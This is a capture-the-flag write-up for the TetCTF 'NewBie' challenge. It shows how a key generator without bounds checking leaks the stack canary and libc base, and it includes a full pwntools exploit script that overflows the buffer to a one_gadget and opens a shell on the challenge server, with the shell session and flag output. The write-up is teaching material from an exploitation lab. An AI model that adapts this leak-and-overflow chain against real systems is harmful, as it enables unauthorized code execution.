Summary: An ELF binary contains functionality to generate a ‘hashed’ identifier from two bytes of memory at an offset specified by the user. This ‘hashed’ identifier is generated by taking the two bytes as the seed to srand and running rand 32 times and using the result as the lookup value to a table. Precomputing these identifiers allows us to leak the stack canary and libc base address. These can then be used in a straightforward buffer overflow to obtain a shell.
Challenge Prompt
65 Solves
NewBie
100 Points
Service: nc 18.220.157.154 31337
or
Service: nc 3.22.71.49 31337
Binary
Author: @chung96vn
Attachment: challenge file
Solution
The provided tar.gz file contains the binary and server-side libc.
$ tar xvf newbie_a28e90077643a7ef3b2385863a23cbf9.tar.gz
newbie
libc-2.27.so
The main function is simple, calling a setup function, printing a banner, then calling another function with the meat of the logic.
This meaty function basically does the following things:
- Opens
/dev/urandom
, reads 10 bytes into a buffer. - Goes into a while loop that reads 0x100 bytes from the user and checks if they match the
following commands:
id <value>
- If the first three bytes of the user input matches"id "
, then the argument that follows is parsed usingatoi
and then stored.create
- Dereferences two bytes using the offset specified in the previousid
call and passes it to a function.quit
- Breaks out of the loop.
Something to notice is that the function looks like it may be vulnerable to buffer overflow if we send a large amount of data then quit. This is confirmed with a simple test that also makes it obvious we need to leak the stack canary.
$ ./newbie
SECRET KEY GENERATOR
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Incorrect Syntax
> quit
*** stack smashing detected ***: ./newbie terminated
Aborted (core dumped)
If we dive into the create
function, we can see that it uses the input as the argument to srand
,
then a string of length 32 is created from a character set by calling rand() % length of charset
.
This is then printed to the user.
$ ./newbie
SECRET KEY GENERATOR
> id 1
> create
Your key: ZNkTtC3qwy3WxftahlGRKluMBDcUuirI
Note that there is no bounds checking when the id
value is passed. We can potentially use this to
leak arbitrary memory contents from an offset by precomputing all possible 2**16
‘hashes’ and
requesting for two bytes at a time.
There are two things we want to leak:
- The stack canary.
- A libc address.
Let’s start by debugging the binary and using id 0
before create
to examine the memory layout.
With an offset of 0
, the two byte value looks to be 0x0000000000009f12
.
If we look for occurences of this value, it appears in the stack at address 0x7fffffffe2b6
.
Examining the contents of the stack around that address gives us these values. To validate this
hypothesis, we can try to look at id 1
where we expect the value to be 0x0549
.
This is exactly what we see when we test that out.
Given that we know the value of the base buffer to be 0x7fffffffe2b6
, we can now look for
occurrences of the stack canary on the stack to determine the required offset. Since we are looking
for one after the buffer, the most likely usable one is 0x7fffffffe318
.
This is 98 bytes away from the buffer, hence to leak the entire stack canary, we need to probe
offsets 49, 50, 51, 52
. We have our stack canary leak now.
In [461]: 0x7fffffffe318 - 0x7fffffffe2b6
Out[461]: 98
Next, we want to leak something from libc. Something we know that’s definitely on the stack is the
return address back into __libc_start_main
from the main
function. Searching for it tells us
that it is at the stack address 0x7fffffffe348
.
Great, this is 146 bytes away from the buffer. Thus, we have to leak offsets 73, 74, 75, 76
to
obtain the full value.
In [465]: 0x7fffffffe348 - 0x7fffffffe2b6
Out[465]: 146
Putting all of this together into an exploit, we have:
#!/usr/bin/env python
from pwn import *
from one_gadget import generate_one_gadget
import ctypes
charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
stack_canary_offset = 49
stack___libc_start_main_offset = 73
hashes = {}
# context.log_level = 'debug'
def leak(p, offset, toggle_zero=True):
'''Leaks 2 bytes at an offset << 1.
'''
p.recvuntil(b'> ')
p.sendline(b'id ' + str(offset).encode())
p.recvuntil(b'> ')
p.sendline(b'create')
p.recvuntil(b'Your key: ')
key = p.recvline().strip().decode()
value = hashes[key]
# Correct for the 1 and 0 collision.
if value == 1 and toggle_zero:
value = 0
log.info('Offset {}: {} ({})'.format(offset, key, hex(value)))
return value
def precompute():
'''Pre-compute the 'hashes'
'''
libc = ctypes.cdll.LoadLibrary("libc.so.6")
global hashes
for i in range(0xffff+1):
libc.srand(i)
val = ''
for j in range(32):
val += charset[libc.rand() % len(charset)]
hashes[val] = i
log.info("Computed {} hashes.".format(len(hashes)))
def main():
precompute()
# Find the magic one gadget in the provided libc.
libc_path = './libc-2.27.so'
# libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
magic_offset = next(generate_one_gadget(libc_path))
log.info('Found magic one gadget at offset: {}'.format(hex(magic_offset)))
# Get the __libc_start_main offset
libc_elf = ELF(libc_path)
__libc_start_main_offset = libc_elf.libc_start_main_return
log.info('__libc_start_main_offset: {}'.format(hex(__libc_start_main_offset)))
# Start the program.
# p = process("./newbie")
p = remote('18.191.117.63', 31337)
# Leak the canary.
canary = 0
for i in range(4):
canary += (leak(p, stack_canary_offset + i)) << (16 * i)
log.info('Leaked canary: {}'.format(hex(canary)))
# Leak the __libc_start_main return value.
__libc_start_main = 0
for i in range(4):
__libc_start_main += (leak(p, stack___libc_start_main_offset + i)) << (16 * i)
log.info('Leaked __libc_start_main: {}'.format(hex(__libc_start_main)))
libc_base = __libc_start_main - __libc_start_main_offset
log.info('libc base address: {}'.format(hex(libc_base)))
magic = libc_base + magic_offset
log.info('Magic one gadget address: {}'.format(hex(magic)))
# Trigger the buffer overflow.
p.recvuntil(b'> ')
payload = b'A'* 88 + p64(canary) + p64(0x4242424242424242) + p64(magic)
p.sendline(payload)
# Quit to return.
p.recvuntil(b'> ')
p.sendline(b'quit')
log.success("Shell spawned! Enjoy!")
p.interactive()
if __name__ == '__main__':
main()
Running the script gives us the flag:
vagrant@ubuntu-xenial:/vagrant/tetctf/newbie$ python exploit.py
[*] Computed 65535 hashes.
[*] Found magic one gadget at offset: 0x4f432
[*] '/vagrant/tetctf/newbie/libc-2.27.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] __libc_start_main_offset: 0x21bf7
[+] Opening connection to 18.191.117.63 on port 31337: Done
[*] Offset 49: LApmeIwPVRvBimHy6V7jRifniOTe7NBG (0xc100)
[*] Offset 50: henRdEDwBeIMjzAvEudyFn76uTxTBkKi (0xd80c)
[*] Offset 51: 6JbEAh0e88NItAu5hKAY2wB2lSperfNn (0xf4a7)
[*] Offset 52: tqfR2IdzzMKJDfptV4s3imx0OPmk5yvo (0x1ae)
[*] Leaked canary: 0x1aef4a7d80cc100
[*] Offset 73: IUm4PsKcRdQCYgkI203pmyJk9KmqZ33h (0x2bf7)
[*] Offset 74: rzikY2f8hfX3SsEjQPqd2yzF5Z3OdtcI (0x6d50)
[*] Offset 75: gS0gzFoAuPb6O2AqmPcfd9VHdLphzi2W (0x7f14)
[*] Offset 76: pkDHTxmMR18N2l9k88EmLgN7cCCTt9rW (0x0)
[*] Leaked __libc_start_main: 0x7f146d502bf7
[*] libc base address: 0x7f146d4e1000
[*] Magic one gadget address: 0x7f146d530432
[+] Shell spawned! Enjoy!
[*] Switching to interactive mode
$ ls -la /home/
total 12
drwxr-xr-x 1 root root 4096 Dec 31 13:01 .
drwxr-xr-x 1 root root 4096 Dec 31 13:01 ..
drwxr-xr-x 1 root newbie 4096 Dec 31 13:01 newbie
$ cd /home/newbie
$ ls -la
total 36
drwxr-xr-x 1 root newbie 4096 Dec 31 13:01 .
drwxr-xr-x 1 root root 4096 Dec 31 13:01 ..
-rw-r--r-- 1 root newbie 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 root newbie 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 root newbie 807 Apr 4 2018 .profile
-rw-r----- 1 root newbie 34 Dec 31 12:54 flag
-rwxr-xr-x 1 root newbie 10216 Dec 31 12:54 newbie
$ cat flag
TetCTF{Challenge_f0r_n3wbie_Akwpa}
Flag: TetCTF{Challenge_f0r_n3wbie_Akwpa}
Leave a Comment